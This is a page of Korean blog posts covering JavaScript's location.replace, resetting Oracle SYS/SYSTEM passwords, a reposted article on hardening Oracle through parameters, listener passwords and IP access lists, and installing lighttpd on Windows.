    "When a document is replaced, it is also removed from the history object. Moreover, the user interface navigation methods, such as the Back and Forward buttons, will no longer access the URL." 이라고 설명 해 놨다.

    요놈은 href 하고는 다르게 좀 특별하다.

    replace 하게되면 history에서 사라진다(removed). 브라우져의 뒤로, 앞으로 버튼을 눌러도 그 페이지로는 안간다는 말이다. history 에서 그 페이지의 정보는 사라지니 말이다.

    요놈은 권한체크나 보안쪽 관련해서 쓰면 유용할 듯 싶다.

    Posted by 1010
    02.Oracle/DataBase2008. 7. 24. 12:42
    반응형
    sqlplus "/as sysdba"

    SQL> show user

    USER is "SYS"


    이제 암호를 원하는 대로 설정합니다.


    SQL> alter user sys identified by 암호;

    SQL> alter user system identified by 암호;


    이제 접속이 잘 될 것입니다.


    SQL> connect sys/암호 as sysdba

    SQL> connect system/암호

    Posted by 1010
    02.Oracle/DataBase2008. 7. 24. 12:41
    반응형

    Parameter 설정을 통한 오라클 보안

    오라클의 보안을 강화하기 위해 지난 호에서 알아본 "OEM(Oracle Enterprise Manager)을 이용한 오라클 계정 관리"에 이어서 이번 호에서는 파라미터 설정을 통해 오라클의 보안을 강화할 수 있는 방법에 대해 알아보겠다.

    1. Data Dictionary 보호

    Data Dictionary는 데이터베이스의 핵심 정보가 기록되는 곳으로 데이터 베이스의 구조, 객체에 대한 정의 및 공간 할당, 사용자, 롤(role), 권한, 감사 와 같은 정보들을 제공한다. Data Dictionary는 테이블의 형태로 제공되며 데이터베이스 엔진에서 관리하여 사용자가 직접 변경할 수 없도록 되어있다. 또한 Data Dictionary는 대부분 DBA_, ALL_, USER_ 로 시작하는 접두어를 가지고 있어 구분하기가 쉽다.
    이러한 Data Dictionary는 'DROP ANY TABLE' 시스템 권한 가진 사용자가 악의적으로 Data Dictionary 테이블의 삭제가 가능하므로 오라클에서 제공하는 파라미터를 변경하여 DBA 권한으로 접속한 사용자만이 Data Dictionary의 ANY 시스템권한을 사용할 수 있도록 해야 한다.

    ** 파라미터 파일
    오라클 데이터베이스 인스턴스의 초기화 설정에 사용되며 텍스트 형식인 PFILE과 바이너리 형태인 SPFILE이 존재한다. PFILE은 init.ora과 같은 이름으로 SPFILE은 spfile.ora 같은 이름으로 각각 생성되며 PFILE과 SPFILE파일이 모두 존재할 경우 SPFILE파일이 우선순위를 가진다. Oracle 9i 에서는 디폴트 설치 시 기본적으로 SPFILE을 이용하게 된다. OS별 파라미터 파일의 경로는 다음과 같다.


    OS 경로
    Windows $ora_home\database\spfile.ora
    Unix/Linux $ora_home/dbs/spfile.ora

    OEM(Oracle Enterprise Manager)을 이용하여 파라미터 파일을 확인하고 설정하기 위해서는 다음과 같은 방법을 이용한다.
    ① OEM에서 [데이터베이스] -> [세부정보보기/편집] -> [데이터베이스 편집] -> [모든 초기화 매개변수...] 창을 열어 [모든 매개변수]탭을 확인하면 다음과 같이 현재 적용된 모든 파라미터의 값을 확인할 수 있다.
    Data Dictionary와 관련된 파라미터는 7_DICTIONARY_ACCESSIBILITY으로 해당 값을 FALSE로 설정하여 Data Dictionary를 보호해야 한다.

    ② [모든 매개변수]탭에서 [SPFILE]을 선택하여 현재 구성파일(SPFILE)에 있는 O7_DICTIONARY_ACCESSIBILITY 파라미터의 값이 TRUE로 되어 있을 경우 이를 변경하여야 한다.
    Oracle 9i 및 10g에서는 O7_DICTIONARY_ACCESSIBILITY 파라미터의 값이 기본적으로 FALSE로 설정되어 있으나 Oracle8i는 TRUE로 설정되어 있으므로 반드시 변경하여야 한다.
    ③ O7_DICTIONARY_ACCESSIBILITY 파라미터의 값을 변경한 후 [적용]을 누르면 다음과 같이 데이터베이스를 재시작하라는 메시지가 뜬다. 이때 데이터베이스를 재시작해야만 변경된 파라미터의 값이 적용된다.

    참고로 SPFILE에서 동적 매개변수를 변경할 경우 현재 실행중인 메모리에 즉시 반영이 되고 동시에 SPFILE에 저장되나 O7_DICTIONARY_ACCESSIBILITY와 같은 정적 매개변수의 값이 변경된 경우 변경된 값은 SPFILE파일에만 저장되므로 데이터베이스를 재시작하여 변경된 값을 적용해야 한다.

    2. 원격 인증기능 설정

    오라클에서 지원하는 원격인증 기능이 활성화되면, 원격의 클라이언트는 오라클 데이터베이스에 접속할 수 있도록 허용된다. 즉, 데이터베이스는 적절하게 인증된 (클라이언트 자체OS의 인증) 모든 클라이언트들을 신뢰한다. 그러나 PC와 같은 클라이언트의 경우 Virus, Worm, Backdoor 등이 설치되어 있을 수 있어 데이터베이스에 접속할 경우 적절한 인증여부를 보장할 수 없어 보안이 대단히 취약해진다.
    이러한 원격 인증기능을 비활성화시켜 오라클 데이터베이스에 접속하는 클라이언트는 Server-Based 인증(데이터베이스 어플리케이션의 인증)을 하도록 파라미터를 변경하여 보안을 강화하여야 한다.

    OEM(Oracle Enterprise Manager)을 이용하여 파라미터 파일을 확인하고 설정하기 위해서는 다음과 같은 방법을 이용한다.
    ① OEM에서 [데이터베이스] -> [세부정보보기/편집] -> [데이터베이스 편집] -> [모든 초기화 매개변수...] 창을 열어 [모든 매개변수]탭의 구성파일(SPFILE)을 선택한 후 파리미터 값을 확인한다.
    원격 인증기능과 관련된 파라미터는 REMOTE_OS_AUTHENT으로 해당 값을 FALSE로 설정하여 OS인증이 아닌 오라클 어플리케이션의 인증을 받도록 설정한다.

    Oracle 9i 및 10g 에서는 O7_DICTIONARY_ACCESSIBILITY 파라미터와 같이 REMOTE_OS_AUTHENT 파라미터의 값이 기본적으로 FALSE로 설정되어 있으나 Oracle8i는 TRUE로 설정되어 있으므로 반드시 변경하여야 한다.
    ② REMOTE_OS_AUTHENT 파라미터의 값을 변경한 후에는 Data Dictionary 를 위한 파라미터 변경과 마찬가지로 데이터베이스를 재시작하여 변경된 파라미터값을 적용하면 된다.

    3. Listener의 설정 제한

    Listener는 오라클 데이터베이스에 원격의 클라이언트가 접속할 수 있도록 실행되는 프로세스이며 클라이언트측의 요청을 받아 실제 쿼리문을 수행하는 서버프로세스를 생성하게 된다.
    그러나 Listener의 패스워드는 디폴트로 설정되어 있지 않아 오라클의 service Name을 알경우 공격자에 의하여 Listener프로세스가 시작/정지 또는 재설정될 수 있다.

    ** Service Name

    하나의 오라클 서버에 여러 DBMS프로세스(인스턴스)가 동작할 경우 이를 구별하기 위해 하나의 인스턴스를 Service Name으로 나타내게 된다. 이러한 Service Name은 sid, 서버IP, 접속 프로토콜 등의 정보로 구성이 되며 TNSNAME.ORA 파일에 의해서 정의되게 된다.


    이러한 Listener에 패스워드를 설정하여 임의의 공격자가 Listener를 정지시켜 원격의 사용자가 오라클에 접속하지 못하게 하는 것을 방지하여야 한다. Listener에 패스워드는 LSNRCTL 유틸리티의 change_password 명령어를 이용하여 설정이 가능하며 설정된 패스워드는 LISTENER.ORA파일에 암호화되어 저장되게 된다.
    Listener에 패스워드를 설정하기 위해서는 LSNCTL유틸리티를 사용하며 다음과 순서로 진행된다.
    OS> lsnrctl LSNRCTL> set current_listener LISTENER
    LSNRCTL> set save_config_on_stop on
    LSNRCTL> change_password
    Old password: 처음의 경우 enter
    New password: ******
    Reenter new password: ******

    위와 같이 설정한 후 Listener에 설정된 내용을 확인하기 위해서는$ORACLE_HOME/network/admin/listener.ora 경로에 존재하는 LISTENER.ORA파일을 텍스트에디터를 이용하여 확인해 보면 된다.
    LISTENER.ORA파일에 다음과 같이 설정되어 있을 경우 Listener의 시작 및 정지 시에 패스워드를 물어보게 된다.

    SAVE_CONFIG_ON_STOP_LISTENER = ON
    PASSWORDS_LISTENER = 2D6C48144CF753AC

    또한 Listener의 설정파일인 LISTENER.ORA은 LSNRCTL 유틸리티의 SET 명령어를 사용하여 수정이 가능하므로 다음과 같은 파라미터를 수정하여 원격에서 LSNRCTL 유틸리티를 사용한 Listener의 설정을 변경할 수 없도록 해야 한다.
    Listener의 설정을 변경하기 위해서는 OS상에서 LISTENER.ORA파일을 텍스트 에디터로 열어 수정해야 한다.
    ADMIN_RESTRICTIONS_listener_name=ON


    4. 접근 IP 대역 제한

    오라클에서 임의의 사용자에 의한 원격 접속을 차단하기 위해 Listener의 IP 접근제한을 설정할 수 있다. 특정 클라이언트에서의 접근만 가능하도록 접근 가능 IP를 설정하여 불필요한 외부의 사용자가 접근하는 것을 차단한다.
    환경설정 파일에서 접근 가능한 IP 대역과 접근 불가능한 IP대역을 설정하여 네트워크 접근통제를 할 수 있으며 Oracle 8i 는 ORACLE_HOME/network/admin/protocol.ora 파일에서, Oracle9i 에서는 $ORACLE_HOME/network/admin/sqlnet.ora 파일에서 설정을 한다.
    SQLNET.ORA 및 PROTOCOL.ORA파일을 OS상에서 텍스트 에디터로 열어 다음과 같이 편집하여 설정을 한다.
    TCP.VALIDNODE_CHECKING = YES
    TCP.INVITED_NODES=(접속을 허용할 ip)
    TCP.EXCLUDED_NODES =(접속을 차단할 ip)

    tcp.validnode_checking를 YES 로 설정한 후 접속을 허용·차단할 IP 또는 호스트 네임을 ','를 구분자로 하여 넣어주면 된다.
    다음 예제와 같이 접근통제를 할 IP, 및 네트워크 대역을 넣어 설정할 수 있다.
    TCP.VALIDNODE.CHECKING = YES
    TCP.INVITED_NODES =(192.168.100.12, 192.168.100.13, dbms.com)
    TCP.EXCLUDED_NODES =(192.168.200.0)

    tcp.invited_nodes 만을 사용할 경우 허용된 IP에서만 접근이 되며 그 외의 IP에 대해서는 접근이 불가능하다. 이때 주의해야 할 것은 반드시 자기자신의 IP를 추가해줘야 한다는 것이며 tcp.excluded_nodes를 같이 사용하여 차단할 IP를 추가하여도 된다.
    SQLNET.ORA 및 PROTOCOL.ORA파일을 수정한 후에는 Listener를 재시작해야 해당 설정이 적용된다.


    [저자] 안랩코코넛 컨설팅사업부 김진수(midorii2@coconut.co.kr)

    Posted by 1010
    반응형

    http://www.kevinworthington.com:8181/?cat=20

    링크가 잘렸다...;;

    그래서 이 링크를 보는 것이 좋을 듯.

    http://wlmp.dtech.hu/

    wlmp라는 프로젝트이므로 더 안정적일 것이다.


    FTP서버에 새로 올라온 파일을 RSS피드로 제공하려고 했다.


    apache2는 일반적인 웹서버를 위한 것이기 때문에, 간단히 RSS피드를 제공하기 위한 서버로는 그 사용하는 용도에 비해 무겁다. 그렇다고 해서 berryz webshare를 쓰자니 이건 서버로 사용하기 힘들다 ㅡ,.ㅡ;;;;;; 어떤 이상한 방법을 써서 자동 시작하도록 만든다 해도 뭔가 느낌이 이상하잖아.


    lighttpd는 말그대로 가벼운 httpd이다.

    발음은 lighty로 한다고 한다.


    윈도우용으로 컴파일 된 것이 위의 링크에 있다.

    역시 거의 0 setup임.

    윈도우 바이너리 파일로 설치 프로그램이 제공된다.

    Next next눌러서 설치하면 설치 끝.


    설정: C:\lighttpd로 들어간다. etc라는 폴더 안에 lighttpd.conf파일이 들어있다. 그것으로 설정하면 끝이다.


    시작: 시작 메뉴에서 시작시킬 수 있다. 윈도우가 켜지면 바로 시작되게 하려면 시작메뉴의 시작프로그램에 넣으면 된다. or... 윈도우 2003처럼 로그인이 되지 않고 수동으로 로그인 해야 되는 환경이라면, 제어판에서 "예약된 작업"형태로, 컴퓨터를 시작할 때 실행되도록 하면 된다.

    Posted by 1010